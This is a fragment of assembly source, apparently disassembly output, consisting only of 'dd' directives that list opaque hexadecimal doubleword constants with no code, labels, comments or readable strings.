dd 0D67D07BAh, 74201B68h, 0C37D8344h, 5810213Ch, 73413410h
dd 10900461h, 3F248850h, 831C20C2h, 4114C357h, 0AEE35210h
dd 7D4D8210h, 0C70B89E6h, 59C61005h, 946885B2h, 2CE53699h
dd 2F8CA328h, 48541C48h, 8ED02E77h, 0A38B9827h, 2D4FD014h
dd 342C88B2h, 0A92991C0h, 1223827h, 14997823h, 0B0CAB26Ch
dd 3760C4CCh, 50440D6Ah, 0F3B1F432h, 0AC040C40h, 292C43E6h
dd 1C102724h, 440D44CAh, 1AA8320Ch, 3E56BB08h, 0F0C49C95h
dd 88B1608Fh, 0C604E2F4h, 4473DC33h, 0C4A863C4h, 8851838h
dd 876A98F8h, 2029423Ch
dd 0DDC156Dh, 0C8C43410h, 9CF064C8h, 7AA1207Ah, 812108DCh
dd 19084234h, 1123F004h, 0EB17B509h, 1C2A390Bh, 0B8671C0Dh
dd 0B155428Ah, 0A8088A26h, 0CEF78A6h, 88438CC4h, 100D0829h
dd 0C478C874h, 0C4603164h, 5786580Ch, 847792C0h, 0FCAC3075h
dd 478C087Dh, 0C4601178h, 0E210C08Fh, 44471420h, 38912C21h
dd 10641488h, 8438699Ch, 0C841C049h, 45397A10h, 42F41C04h
dd 15482397h, 3C2B0DE4h, 0DD415AFh, 433B4423h, 0B010A423h
dd 9CC4A8C8h, 80315832h, 86AE140Ch, 93754842h, 233C9EEFh
dd 0A4CF4411h, 11A88F11h, 0EFF3588Ah, 70E8AE74h, 0A3DF974Ch
dd 0B04F5340h, 286824C8h, 0B05464E4h, 1185BBA2h, 10392558h
dd 40C89934h, 0D30AA6Fh, 20889891h, 0C62A064h, 0FC185C19h
dd 842B9642h, 0DF415DAh, 0E8103023h, 44279CCAh, 4E1C32D8h
dd 3E4042D7h, 8149C4B8h, 81410898h, 5FE09A0h, 3108085Ch
dd 29F05420h, 0B83010C9h, 8CC59C91h, 2CE21C42h, 601D2819h
dd 6888C0EEh, 0E79653CCh, 4402A584h, 0B46296C0h, 0DCC8C99h
dd 0D51A4F5h, 940CC5F8h, 0C4702186h, 4CC88890h, 43778C4h
dd 186C32C5h, 4386C4E8h, 10B42364h, 0BAD4CB58h, 0F00D240Bh
dd 0FC184462h, 384386C4h, 0E869E024h, 8894910Dh, 62546428h
dd 18501920h, 90218618h, 0C81090C4h, 3108C488h, 0C20DC5A4h
dd 0F418B819h, 6C219542h, 0F2CB5BBh, 4C950B82h, 1AE45404h
dd 0A213BB80h, 213C460Dh, 887C91D4h, 62E864C8h, 183419BCh
dd 0F85686B0h, 0DA02A82h, 901A48EFh, 0DD85286h, 0C918421h
dd 0B0647888h, 0F1CC05DCh, 41C2B515h, 601119Fh, 0CF85422h
dd 70218605h, 21F91CC4h, 0ED185438h, 52E80CA9h, 0B419E118h
dd 19D50C52h, 0C92452D4h, 0C52F019h, 52FC19BDh, 0E019B124h
dd 4386A50Ch, 95992194h, 8D210C54h, 81C85090h, 74436C6Ah
dd 5A105279h, 10716478h, 46922B8h, 461226Ch, 459222Ch
dd 4512280h, 449223Ch, 0E8D1DC7Ch, 2334478Eh, 0C56888F8h
dd 0C73D8C4h, 34212BC4h, 9D23091h, 0CB9C9571h, 5011F450h
dd 3490C793h, 32C498C4h, 48241920h, 21860C0Dh, 0F888C51Ch
dd 9DD04594h, 280D1298h, 0D89EE4Eh, 0C01A48ECh, 0D645286h
dd 5C91AC21h, 6C649888h, 7001BA9Dh, 35440D8Bh, 0BC238384h
dd 76264140h, 10A038E1h, 0D030F071h, 68786C10h, 3C671028h
dd 0CB3B200Bh, 1C64C591h, 6C788E5Ch, 0D8381187h, 0C6533155h
dd 0E57C6803h, 0CCD1FF2Eh, 93C50488h, 21A68A1Dh, 0A2FA33Ch
dd 2C1F1D89h, 289412FAh, 3D7D7420h, 1C93607Dh, 0C9B45014h
dd 888ACCE0h, 0ACC6080Dh, 0EA1583C1h, 8E15B78h, 4356C608h
dd 42402144h, 501C9430h, 0A62411E5h, 23184363h, 0C9081054h
dd 420A4C2Ch, 15A02393h, 0D4230DE0h, 0E4C4D010h, 19C432C5h
dd 0B819DE8Ch, 438C380Ch, 102823ACh, 0C4BCC89Ch, 5BAC3284h
dd 0C454083Fh, 8A736493h, 0A063EC2Ch, 0C4D463C4h, 8C38E462h
dd 38478CC4h, 3C46283Ch, 0AC2146BCh, 480C4C71h, 93780885h
dd 6ADE8A52h, 4029C63Eh, 0C47C8892h, 4C8A10CFh, 5443544Ah
dd 30445021h, 438E2068h, 0DCD02B0Ch, 0CC8978BCh, 5C884A4Ah
dd 4285864h, 48521F87h, 0DCC792F0h, 9DFC4488h, 0F40D1267h
dd 0BC0CAC31h, 0FC4264A6h, 0E7089424h, 0BCC4D8F4h, 9064212Eh
dd 92A0A160h, 7490290Fh, 0C8C98090h, 27C4083Bh, 6C435CD8h
dd 74456821h, 907C4A28h, 434A8652h, 0B1902B50h, 0DCC94010h
dd 0D892E6Ch, 86201818h, 90C4D821h, 0D870CA10h, 0E42290E4h
dd 0DC7DF04Eh, 8C18788Ch, 7021D847h, 7032FC73h, 0E85AE114h
dd 8F91E811h, 0AC8810CCh, 848810EFh, 237C435Ch, 0BE5F9778h
dd 405DAC02h, 6A965F5Bh, 339F9097h, 35392FF6h, 21D77229h
dd 0FF2C74B5h, 9784F0F2h, 5C9826CCh, 0E13F9C41h, 56C77026h
dd 6A9F12A4h, 21F6F0EEh, 201995E3h, 8141870h, 84731C34h
dd 90150632h, 0E438A7AFh, 42E43824h, 0BCD2109Bh, 11857BA8h
dd 0C4E1DC28h, 159E32CCh, 30A24790h, 210E3439h, 0AC6A90B4h
dd 38118513h, 98713CC8h, 6285360Ch, 403994DFh, 1087441Ch
dd 5602C880h, 4888AB42h, 64384CE4h, 0BBCE2186h, 7F0A7751h
dd 8854438Eh, 2B9A644Ch, 58444321h, 431C5C72h, 59662130h
dd 60230A0Fh, 18E26490h, 0C40A3219h, 687293DBh, 100E6C39h
dd 909E9AFCh, 85A7A8BAh, 21DD7011h, 0CA32E4C4h, 0A2739015h
dd 0E7C3978h, 9690C821h, 868C3FACh, 22944326h, 75392D70h
dd 15564652h, 6412882Dh, 27506614h, 104217AAh, 7DE92274h
dd 25601192h, 7477FE3Bh, 0BB08C3B5h, 4C76BBC6h, 710A2986h
dd 38A3880h, 0E857536Ch, 0D8556DC2h, 85591FB6h, 9466BADBh
dd 0D625200Ch, 50DF56BFh, 0C7012B41h, 0E8535750h, 0B23BD2C4h
dd 0C38B187Ch, 7024801Eh, 0E4E81730h, 0CC23AEC1h, 7A341010h
dd 8C0C89D4h, 510325FAh, 0E9E58BC6h, 0A9CA866Ah, 8F0FD268h
dd 0F78B3006h, 0C3422024h, 0C62D5979h, 65B6DE5Bh, 0D0BC985Dh
dd 6EB7075Eh, 3008F57Ah, 0E815F842h, 8B27DF0Bh, 828B9EF6h
dd 0C071F6C1h, 7DC73B47h, 0C87B0578h, 0A767EB3Fh, 0B5FFC1C9h
dd 157E2940h, 3114018Ah, 740AFA80h, 0D0A8105h, 1C880375h
dd 63B41F4h, 33EB7CC8h, 7E1F42D2h, 32933822h, 0EA4CEBA0h
dd 919F201h, 0FF811074h, 7DAE2077h, 508C890Dh, 24739BDh
dd 7CD03B42h, 33E039DEh, 73A41774h, 48507E89h, 0B94FF1C1h
dd 488B31C8h, 0C5DD35C7h, 0AE082444h, 0B914D821h, 3C004145h
dd 788DABF3h, 2E8572FFh, 18711F7Ch, 8A103BDFh, 0AE060428h
dd 59801270h, 0FE4CFE46h, 1C890018h, 0F73B4B81h, 5B61E57Eh
dd 0BE0FC37Ch, 3A044098h, 3C80D5E3h, 7C591D61h, 7F7A460Bh
dd 0C1B72807h, 0F12A6046h, 0B8FE0869h, 8F870C5Fh, 46C120E2h
dd 24BCA402h, 6945C095h, 8AF672D0h, 0A4CC7FF7h, 56EF44F4h
dd 0B29F15A3h, 2E766EE8h, 8B4E1440h, 72EB24FEh, 0D9AB4C1h
dd 46C1837Dh, 8441EB6h, 14748107h, 4C6226EAh, 9E085D28h
dd 6D251F6Dh, 0FEF455F0h, 814DAA84h, 0CE2BCA82h, 787E2620h
dd 3C11702h, 72A2FCF8h, 8D953661h, 4D49FF72h, 0C142CF6h
dd 43511F2Dh, 8C29EA60h, 0C04D604Bh, 0B275C14Eh, 8984E4Fh
dd 0CF8A7F32h, 801A4C03h, 94F7EBC3h, 901647Eh, 81A54656h
dd 0F7C26AB1h, 68505246h, 2BED5016h, 0F85C0DA3h, 15401238h
dd 1F46CC68h, 80088A60h, 7F1F19F9h, 7F090A05h, 0FAF1EEA4h
dd 7148E020h, 1419A38Dh, 1D0C72D4h, 0EB742E08h, 0E67C2105h
dd 50562F20h, 0B7C6FCBEh, 34689C10h, 0C8D99C4Eh, 9FE11B20h
dd 184BABE4h, 0E4D7B2ECh, 10BD247Ah, 0F82A74DEh, 14448101h
dd 0E521D7BBh, 9948FA1Ch, 1E7E49D4h, 2813D09Bh, 8A1DA80Ch
dd 8C52CC7h, 1A7E9A55h, 0B148BFF6h, 601585A2h, 3BE81B80h
dd 644C74EEh, 0A1A84ABDh, 0AF04B499h, 0E06C4106h, 0FA894346h
dd 221F4868h, 0DC55CA70h, 1474134Bh, 0DB487C19h, 71B6E211h
dd 0C8AC69B7h, 2555F253h, 0B9F6B03Ah, 0FC9EA6Fh, 11947C52h
dd 0D9572DD8h, 5BF4B132h, 0C5096640h, 64BB011Ch, 0E4F304F6h
dd 37EE24FEh, 99146F3Ch, 0C60C6898h, 735ADCA6h, 0C25E56E2h
dd 8B8B034Ch, 0A191430Dh, 0D32F30C8h, 0E8D612ADh, 4C748528h
dd 0B64E9BE8h, 6FF03C03h, 0B148B1F3h, 95791D28h, 0B7E18CD8h
dd 2750A7Fh, 7A40340Bh, 0CCD64F14h, 36A71639h, 93E4E932h
dd 0E9604EF3h, 6068853Bh
dd 0C7E88A42h, 0E3EA939Eh, 34048605h, 0E946066Ah, 35B94F59h
dd 0C2C60868h, 64090764h, 0E45C4F87h, 0F4E7450h, 7752431h
dd 6E62AE20h, 40C57315h, 9CE588B2h, 0DE1D4C8Ah, 66CAF484h
dd 0A0200E12h, 0D46827FDh, 0B58F7710h, 0B2332BDh, 1A0A7C14h
dd 0B01A0802h, 4091BAFDh, 4E0FFE95h, 7013B886h, 505222A4h
dd 90681544h, 0AD52233Dh, 1986DDD8h, 0C13828C9h, 0E5959C8h
dd 47708652h, 0B27E2F8Dh, 0F86F95E6h, 0A818C344h, 1D2A575Fh
dd 0D3984587h, 0BF2A7D7Fh, 0A44A6804h, 0C7566620h, 0F5B45A45h
dd 0D40E9B91h, 5566822Dh, 0A915E925h, 7E502511h, 7F50ED22h
dd 0D25BEC8Ah, 12921269h, 29931BD7h, 4824F42Eh, 0C74F1BBh
dd 0A6B45E97h, 4CB57E30h, 0C8B08681h, 7549F06Eh, 0FAA84511h
dd 40080B48h, 34C52FB5h, 0AEE49F27h, 0FB56EC44h, 18600671h
dd 0B572C712h, 0C1B95716h, 60BEFDB0h, 0BD8DB9F0h, 26B7E7A0h
dd 97F7A8D4h, 68285A5Ah, 0A41971E0h, 59E525E8h, 92CEB421h
dd 96B9F1Ah, 4C386376h, 2384E7A0h, 7E3FBBECh, 944C485h
dd 474018B8h, 0B8593B4h, 26F0A84Dh, 51B87D1Bh, 56081912h
dd 7028BE40h, 0B1A2E45Ch, 12546E1Bh, 0BEA7E841h, 4925226h
dd 295CCAAEh, 0D8120F19h, 0A5DEE8A8h, 0BBC3FF04h, 41F8381Ch
dd 0D60D1097h, 8502B41Ah, 0FF0274C9h, 707E6CE1h, 0AF90BD88h
dd 574D4356h, 489678C6h, 0F4B7DA26h, 44E076A9h, 2BC820D0h
dd 5C7404CFh, 0BB32E983h, 7E126336h, 0A236748h, 4417556Eh
dd 2FF78CBh, 44B4C068h, 0B3142183h, 5DEB0C01h, 21BB8468h
dd 0BF4948AFh, 11F256D3h, 0DA832998h, 20A06EE2h, 74F73B10h
dd 0CCD1286Ch, 0B75EA456h, 39B762E0h, 37763E02h, 0CA045E8Dh
dd 69F273h, 18C38347h, 0F1723E3Bh, 6823EB0Dh, 65099540h
dd 0B2ACC0BDh, 480E4844h, 22FC189Fh, 108B1005h, 4BBC21B0h
dd 0AF2C5AA1h, 0B3F868C3h, 0D9CCF927h, 21412F8h, 89581035h
dd 0F76A9357h, 0ED89A1AAh, 82DF94B2h, 62D7F612h, 0F03C4F8h
dd 50F3F2B6h, 0AC8542Bh, 0B90F5F2h, 0FCF089F1h, 3BC26C06h
dd 322DB24Ah, 80FAE28h, 0F9C9D233h, 1F7E4480h, 0FE16418Dh
dd 9C10D157h, 0DEF71EDDh, 0DF710CC9h, 0B70FAA20h, 0D738033Eh
dd 75488146h, 4EB5FF6h, 4C082392h, 6960567h, 89D0033Eh
dd 0D5E281CAh, 0E9C10221h, 5EDBF710h, 0E80D7FF7h, 0D0F7F010h
dd 209E7799h, 50120190h, 0A2F1B8BAh, 769C5F49h, 3A478FA1h
dd 4B70FE8Dh, 0E7C69FC4h, 7729E29Dh, 0F05E6116h, 0D23ED6A5h
dd 18B9112Ah, 82EB15D8h, 637D06EAh, 5D2E2398h, 803F3A5h
dd 6A42B544h, 0AE9957B1h, 21B07F5Dh, 0BF1AA453h, 0C088C979h
dd 78BC67FEh, 468A38B8h, 17FC427Eh, 31FF0E98h, 0C2AF084Ch
dd 4CC2D157h, 5A9B0CCFh, 0EB4A68AAh, 6A2785BDh, 0E00C7376h
dd 0A2806053h, 0B960D564h, 48E7DCB8h, 7EE8456Dh, 0C10A40DBh
dd 6BCBC87Dh, 0EE200A10h, 267EC05Dh, 61F6A6DFh, 0AACB956Ah
dd 0F117FCBBh, 0CDA2C475h, 78229C52h, 15C1D09Fh, 0FDA7CC0h
dd 7823944Bh, 218604CEh, 235EB09Ch, 0CA628932h, 0AE3A300Dh
dd 0A3E82AE1h, 88BCB8F3h, 1FEFC48Ch, 0F602CC23h, 32B08946h
dd 74EB997Dh, 0AF59F593h, 7CEE3675h, 97AC7F75h, 0A72459BFh
dd 0F6D2AB5Eh, 7508431Eh, 0B2A7378Eh, 5D1407A6h, 62FED211h
dd 0DE98C057h, 7A8CAFBEh, 0E550827Dh, 22DECC53h, 21D046E4h
dd 885408CCh, 0ECC4D0EFh, 0C1E0230Ch, 0CE2EAD5Ch, 51A8535Ah
dd 89D03A3h, 0DC9C0E65h, 11B1D0FFh, 0BDC4BCE8h, 0A388B999h
dd 42F91BF7h, 0BBCC3C52h, 393452B6h, 4C55EE12h, 0B81264ABh
dd 0C047B9C9h, 0AAB24F88h, 550A3FC2h, 88C8F2F8h, 75373ED8h
dd 0CC2F8943h, 727ED4A2h, 9C4AE2C3h, 402275FFh, 9488D4B9h
dd 0D492EF35h, 0EBE67C14h, 6E4D3184h, 0A63B5E0Bh, 0E8E83B12h
dd 9E4C4653h, 0C22B2FD4h, 5037E579h, 34BF5375h, 0D885092Ah
dd 4E67777Ch, 0AA56CE95h, 0D5E8CF0Fh, 28EBB4A7h, 3CC3F248h
dd 57A57FD0h, 808839B7h, 57AE886Fh, 0D8871B88h, 268C0BB3h
dd 78E5AC23h, 1ABA94A1h, 6C12389Ch, 0C30399D8h, 9CA1D67Ah
dd 880D2842h, 6A5E7990h, 8064CF6h, 8BB5FEE8h, 8D2C179Ah
dd 2E38154Dh, 35636F51h, 0B8555E98h, 0E809A070h, 5F94AAA1h
dd 20B8426Dh, 1CF99F02h, 0DC55A72Dh, 0C49A5C89h, 0A939FF27h
dd 0E7DB32BAh, 680C0AD8h, 9A63EBFCh, 0EE5284ADh, 0D21C3311h
dd 190910BFh, 0C948121h, 35D9714h, 0F32D9429h, 779A59Fh
dd 487FC64Ch, 8C476405h, 0C228743h, 0D195FF90h, 9D3A468h
dd 212A0BBh, 259DF95Dh, 0AD4A7A5Ah, 0DFDF4877h, 561816A9h
dd 0A694359Ah, 0F0CE1DCh, 2FE5845Bh, 75FC7C40h, 0B21AB42Bh
dd 0FC1B903Ah, 810D7430h, 0F2F87D2Dh, 0B50F7C09h, 908FC29h
dd 9DEBC3D9h, 7665FE67h, 205F5CB9h, 740A0654h, 0C83B4054h
dd 56F0722Eh, 28447DA1h, 72FBF428h, 47184229h, 8A68217Eh
dd 66176D74h, 0D4453053h, 8CAB6845h, 499DE972h, 0AA724045h
dd 9068AF06h, 1F8C54B6h, 18B3825Fh, 0AA2C2778h, 19266F9h
dd 2E8F961h, 5468318Ah, 1C595929h, 21938C03h, 232CEAB4h
dd 0E0238E36h, 62554AA9h, 0E8180378h, 0F59BAAABh, 6C88E6C9h
dd 0B754F1B1h, 0C53F500Fh, 0D0F46BFh, 11083D8Bh, 94D16B31h
dd 0D8FDB33h, 0C76C43F0h, 3BC20C2Ch, 7AEC5D89h, 2DD75002h
dd 565B8C98h, 0C5FC8663h, 2C811722h, 0D08A0482h, 32C4D2F8h
dd 0C45FD77Ch, 0A90DD4D5h, 740B1121h, 0D4B0905Fh, 0ABCF8056h
dd 8C64C6B4h, 1D4BC133h, 0C9D75513h, 0F412996Eh, 6C80C99h
dd 9B55BFCCh, 6EC78C7Dh, 0CC54A208h, 4FAABB26h, 0AA9FCA55h
dd 1B8389Ah, 0BCDB22DAh, 0E4A49A79h, 7DC20893h, 2C7A57E9h
dd 8C0BACA2h, 0D76B4A64h, 0BE245F9Eh, 9EB289A3h, 9C15F816h
dd 4CD43C08h, 83BD923h, 0FB0C7C70h, 74134C22h, 0EBE34105h
dd 32685301h, 0B5E80B7Fh, 952DE6AAh, 0B741A978h, 0A7A5C2FFh
dd 4D20F8A1h, 97FF69DCh, 0C820359h, 12D08F89h, 24510EC1h
dd 0A54EC555h, 0ACD3F9E2h, 908721F0h, 0FC74B727h, 21B6D844h
dd 0DD7FAA5Dh, 700640Dh, 7EA7B591h, 2EABCA37h, 0D2E96FE9h
dd 62134475h, 518013F1h, 10BEE282h, 6A010C70h, 442B5F3Ch
dd 2A8E0C24h, 0C24DC88Bh, 0E1F6E132h, 990857F0h, 68511A01h
dd 0BEA2515Ch, 6AB651D8h, 70E8F832h, 3F66AF4Fh, 0AE7ABFAAh
dd 4240BF0Eh, 318A1C0Fh, 8B0D5368h, 0FD266CDAh, 0C62B2262h
dd 0D31BA1C0h, 86525728h, 35C83532h, 0D5C07FF2h, 0D70777F6h
dd 0DF3B0472h, 0E434D166h, 196F9064h, 33C79CE8h, 0CE16B4CAh
dd 0C985FA00h, 145B7758h, 0B6830572h, 6A9B733Ah, 22F6244Bh
dd 10A17777h, 31421247h, 8937083Bh, 842B1832h, 8C212644h
dd 1E221B42h, 0B211946h, 7C730A0Bh, 2B203075h, 1B025FC7h
dd 13C303D1h, 0B6EFFD6h, 2D096821h, 0FF40F450h, 5EEC9257h
dd 4BCE24FCh, 1BDC940Fh, 0B110C42h, 7127435Ch, 750400AAh
dd 3C9D3952h, 261913DEh, 0FE144422h, 346770C6h, 2146B890h
dd 6F0F0210h, 2964E0E2h, 70EB468Ch, 0A2E802Ch, 59095175h
dd 30551202h, 4544755Ah, 43528484h, 7505085Bh, 102CE833h
dd 0C5298880h, 7C124801h, 2631744h, 0E9742122h, 1C707D42h
dd 382F7512h, 7471D1BFh, 0B6EC2E27h, 0FD180ED8h, 68FC53A0h
dd 834DA8E3h, 99D4855h, 640F2514h, 0A1316631h, 3F6A3164h
dd 0A485E0E3h, 0D9DBBFFDh
dd 1263A61Eh, 67E9A9A1h, 740BF8C0h, 0DD094BC2h, 516E820Fh
dd 0EF27689Dh, 0C729D0CDh, 0FEF56F1Eh, 0EF28FF4Ah, 0D94BB5F4h
dd 64BD39ACh, 0F8304AFAh, 0C34C3622h, 881C4CE6h, 0AA7C9C4h
dd 0FB9A8059h, 1FD15773h, 1BC95F52h, 535D9240h, 692927FFh
dd 820BA7Fh, 0C621C9Ah, 0FF322E6Ch, 206A2361h, 81C8DC96h
dd 29A7F090h, 99719F38h, 22441110h, 261F24EFh, 28384066h
dd 57AC4BC6h, 0F69885C2h, 164C1082h, 79606A02h, 0F81808FEh
dd 0B5E91A4Dh, 21230A46h, 9024F998h, 88FBDB12h, 149550C7h
dd 7EC5298h, 9FD457Eh, 9F4CDFAh, 6A0DD61Dh, 7F98F32Fh
dd 0C959B55Ah, 380C3C0Ch, 47DA284h, 5256FA7Dh, 0FD11BB0Eh
dd 14B812B5h, 0D05B62BEh, 19A81091h, 0A1A60C61h, 4BAC2829h
dd 74D6D9B7h, 0AC5A0971h, 900BB524h, 73C1D450h, 0BE560284h
dd 45987780h, 49CFF74h, 46A6E662h, 0B53DE60Ah, 1506EC2Bh
dd 1C84284Ah, 1D2A66B9h, 6DF8245Fh, 421613CAh, 1166E468h
dd 7AA63728h, 142F666h, 0F8F84A4Ah, 16DC2ABBh, 0EB172143h
dd 1F4B1B26h, 0D4BEEFB8h, 1A410FDBh, 3407E894h, 0FAE9573Bh
dd 4B5773A5h, 0FC7632E2h, 0F4F37960h, 0F2FE9759h, 0C8015CEDh
dd 110FB894h, 1CCBAB41h, 5CE224DCh, 448FD906h, 0FCA43165h
dd 0D6242E19h, 9081F4BAh, 4AE5708Ah, 0FE8824B8h, 4D069E86h
dd 301892FCh, 0F7E8B0BAh, 381BA554h, 0A6E9FC86h, 0DB0CFB0Eh
dd 0CCF24A8Bh, 12A9F9A6h, 0DB8415C9h, 1D998CA8h, 4B94DBBh
dd 738AA80Fh, 2AD1E49Fh, 0F863FCA8h, 0F659B5D8h, 0A818ADB8h
dd 3D6A1864h, 0EAD75C90h, 5D39E630h, 15761ACCh, 98326CFFh
dd 0E84521DFh, 0AC79BDBAh, 75B70FC1h, 9A1E47D0h, 0B26ACB9Bh
dd 1E31E0C2h, 5A1A47E0h, 0DC12CCA7h, 538234C8h, 0AFFA27D4h
dd 0DACFEBC9h, 531A9168h, 0F72E92C6h, 4E51B488h, 919376F4h
dd 8C50499h, 2F109528h, 7426F33Bh, 0F893F961h, 48D9D5A8h
dd 42AB3228h, 342293FEh, 9A94C61Ch, 40743FF3h, 90D303E8h
dd 0FA49D9D0h, 6D92EA04h, 732F27BAh, 0F29B9B0h, 0B43E1628h
dd 8B0F1B7Ch, 8B269013h, 18EB02F3h, 1D893C68h, 31F8D384h
dd 0F608FAA4h, 0B860A341h, 0BAFE4B2Ch, 0FAA4E271h, 0ABAC3008h
dd 0A3E3A84Eh, 11FCA411h, 39D07C87h, 0BB011F85h, 0C588A731h
dd 0D158BC2Fh, 28B51809h, 4E7BE873h, 0F2B4BDA1h, 0A64AD751h
dd 481CB978h, 0BF094409h, 5CDEDAB8h, 1E2FFE3Eh, 8E42B25Eh
dd 1F4EDBA7h, 0BDEE80Fh, 0FE81F703h, 7C824CDEh, 8F42EBDFh
dd 6953E2B4h, 572D85F6h, 899E0C92h, 0C0DC853Bh, 179BB05Fh
dd 5161073h, 9F6818BCh, 6B868D3Fh, 90753960h, 0A4BBF1ABh
dd 3D247CA5h, 0F6E47005h, 0AD2AF15Bh, 69C21CFEh, 0EB2B9356h
dd 0A72CA60Ah, 0B108285Bh, 3314437Bh, 209B34FDh, 468D3696h
dd 54501831h, 4AAF3468h, 21C3B45h, 0A83F2722h, 23B86A71h
dd 426F65FEh, 0C6812C42h, 5C47AA91h, 78A6B6BFh, 2F5671B7h
dd 595D7992h, 0F4BB1F5Bh, 0BE20CCCDh, 4364C9FCh, 12003BE0h
dd 838D7F6Ah, 6F5312A1h, 3690CA34h, 123BDF2Bh, 0EBE37DDEh
dd 0CAA7368Ah, 0C2C0A5A3h, 5C84A7A6h, 17E46028h, 85DFF4Eh
dd 0D183693Dh, 25E885ABh, 32151FC2h, 78D66512h, 0A4B8586Ch
dd 14337883h, 22050888h, 19B3D29h, 4C39F27Ch, 9CE1E624h
dd 75B58574h, 12A95116h, 180BCA7Dh, 85E80404h, 982C8D7Ah
dd 598523E2h, 0ACC3795Eh, 0E33E41C4h, 0F6CB4154h, 21CCE3E5h
dd 0E211275h, 0D115305h, 33DD0B54h, 169D51C0h, 2D1CA640h
dd 0BAE1DB03h, 25E422C3h, 54EAD233h, 37001CCAh, 0F0553947h
dd 0FC738973h, 6448A0A2h, 524F1E75h, 5C7A02A6h, 0BA22DFECh
dd 32A2B5F6h, 4C7941C1h, 0BD22808Eh, 506EE168h, 0DF4109FBh
dd 29E3EAE2h, 32B9184h, 9F80A93h, 6C330879h, 1E3BE731h
dd 0B048527Dh, 5E36AC3Ch, 8AB4F819h, 0C2683C13h, 0BFD63411h
dd 0CA760511h, 85C47256h, 1B92ED67h, 54A631DFh, 6801FCE4h
dd 0E89D48ACh, 0E8A0A52Dh, 5F395959h, 2000A075h, 5E1B5652h
dd 0E821A8B3h, 3A114BA1h, 6A991F90h, 9DE638D2h, 9E421CFCh
dd 0EE36FD25h, 86F3515Fh, 0D8BBF604h, 3FC4A5C2h, 9A826284h
dd 0B0B3D63Fh, 4B6FF02h, 76C8BB4Dh, 150641E1h, 0D7FD2F08h
dd 4842FC4Eh, 0A81A8694h, 0A449BE91h, 53570BB0h, 11789E19h
dd 0C490AEBh, 0FE41D43Ah, 0E6087E38h, 721817FEh, 821A3A4h
dd 61042454h, 7ACE8310h, 21741804h, 538036B8h, 0DE8B028Ah
dd 0EC12339h, 0A7C333D9h, 4B008EEh, 0DF126085h, 2F01DE4h
dd 5BE6754Fh, 0F72D3FD8h, 3341A3D0h, 0F9D44CDBh, 70DCF16Bh
dd 7369E40Bh, 0E8F0034Dh, 0EF85A688h, 0E42A28Dh, 1C65DE26h
dd 0E8547343h, 0B18AECB5h, 526457ECh, 0D409B844h, 0AC12050Ch
dd 0F68FC8B6h, 3EE8474Fh, 514BD81Ah, 3DBB21DEh, 0D767F88Bh
dd 96E457ADh, 8B2FAEB3h, 5BA6F654h, 5DD092E9h, 0F8155BE7h
dd 0FE3B17B5h, 9CF03BCCh, 9F938B53h, 0CCD392DEh, 0BA175665h
dd 29948132h, 0F6180955h, 0F70813C1h, 22741396h, 0EF9238B2h
dd 11BC7956h, 0B5A51B6h, 0F34075F6h, 5A0274EBh, 0B49D9CC7h
dd 4E2A1144h, 6D0B28A7h, 0FE4C2186h, 9397F82Ah, 0EB548C9Dh
dd 8EFE5410h, 0C55EB042h, 51D8AC97h, 4CDA2412h, 2D68EE40h
dd 0E71BBA4h, 33359E10h, 0F8C50C2Ch, 57521B34h, 2AF14F1Bh
dd 9641E92Fh, 0B877F149h, 84EE4C35h, 28FB9D21h, 9C0D2663h
dd 0A5567A35h, 4D23564Ch, 831BC8F2h, 72B4C9F8h, 0A071960h
dd 1B76A1A1h, 595E3922h, 0D8989DF2h, 0E5BD9BA1h, 646A8B9Dh
dd 0EAB524E6h, 0A15BDE46h, 0C602534h, 0D28C9E1Ch, 483DFA21h
dd 3883827Ah, 6CF08DB8h, 11944B84h, 5E846999h, 950BB8EFh
dd 58142B82h, 2C07323Ch, 29CCC69Ah, 9438A375h, 10DDC518h
dd 43C2429Dh, 0ECDEF3C3h, 0FA47766Ch, 2FA9DE8Dh, 4F1EBFCh
dd 0C8BD270Ah, 0C2F06904h, 5643F616h, 893304BBh, 6EC08998h
dd 0F43448B2h, 5CDBFE06h, 0A75E801h, 8BBD4468h, 0F4B9E992h
dd 56D0C261h, 149D1C02h, 6BE92EFDh, 0D2724DD2h, 6551223Dh
dd 73EBD488h, 7C2174DDh, 5A7B110Ch, 52F6A5BCh, 5A34ED6h
dd 97D2B240h, 7A496F5Ch, 208526B2h, 30804D43h, 0A44439E1h
dd 144D798Bh, 140D848Ah, 0A8CF3C3Ah, 415F21EAh, 9F9FC0Dh
dd 20411903h, 0B444D5Ch, 59E2A039h, 53CD2F76h, 0F64D4771h
dd 0E92F7723h, 0FA97F1C4h, 34FC969Bh, 28DBEF64h, 6203A65Fh
dd 27BCD854h, 35B208D6h, 282E2D90h, 0A4FC8B98h, 232104D0h
dd 0B44C7CE9h, 7E33F3BFh, 0EC9AFAEh, 1037F904h, 0A58789BCh
dd 12275640h, 0EC2E357Dh, 1343466Ah, 48897427h, 0C7330A78h
dd 0D94F3C06h, 8259D95Bh, 0E9CF13FBh, 6E13970Dh, 0D6FBA9C7h
dd 207F582Ch, 50445652h, 6834AC26h, 4C61C394h, 0E90173DBh
dd 20552324h, 0B81CE7ECh, 84D8CEBDh, 0C95995D8h, 684B582Dh
dd 0CB916F5Ch, 1B448642h, 0A6EED9E3h, 39E5EC5Fh, 0A23D4CFEh
dd 6EE1BF21h, 126B8E8Dh, 5ABBA8E2h, 0B45BF9E9h, 1784F588h
dd 989B2CE8h, 0F72F0C1Bh, 7F6F42D8h, 519DA0C6h, 0CBE0908Fh
dd 0D347E6F5h, 932DAA31h, 0A2B51418h, 0BCCE7D88h, 9956ABC2h
dd 1176E201h, 1C4C571Eh, 0F4552F11h, 0C30342DBh, 85AC8C0Fh
dd 0BFC6B0Ah, 2937A111h, 668593ECh, 0CAE8815Bh, 8A6C5E44h
dd 90F7D255h, 81327E8h, 20C4F25Ch, 0BCCB55F8h, 450BEDEh
dd 0BC0888FCh, 99F72C84h
dd 1CE7682Ch, 752092B0h, 9A4C5598h, 9D72E5F7h, 25265851h
dd 3B0CF762h, 74D61FEh, 91A9B23Fh, 616093C3h, 5C7DE8A8h
dd 72E72497h, 9E5ADCBEh, 9F52A6D0h, 3A1153EBh, 58A7907Dh
dd 188AF5F6h, 93CF141h, 0AFFD396Ah, 0A10069F6h, 40C8A667h
dd 4180F7C9h, 1046846h, 2267EE82h, 0D895FD3Ch, 9B399563h
dd 6885365Ch, 0F7E9072Eh, 98FBDF30h, 4A9C33BFh, 1773EA28h
dd 2DF9C502h, 7FB4AAA4h, 0C7BEFA68h, 6946EB14h, 43185E32h
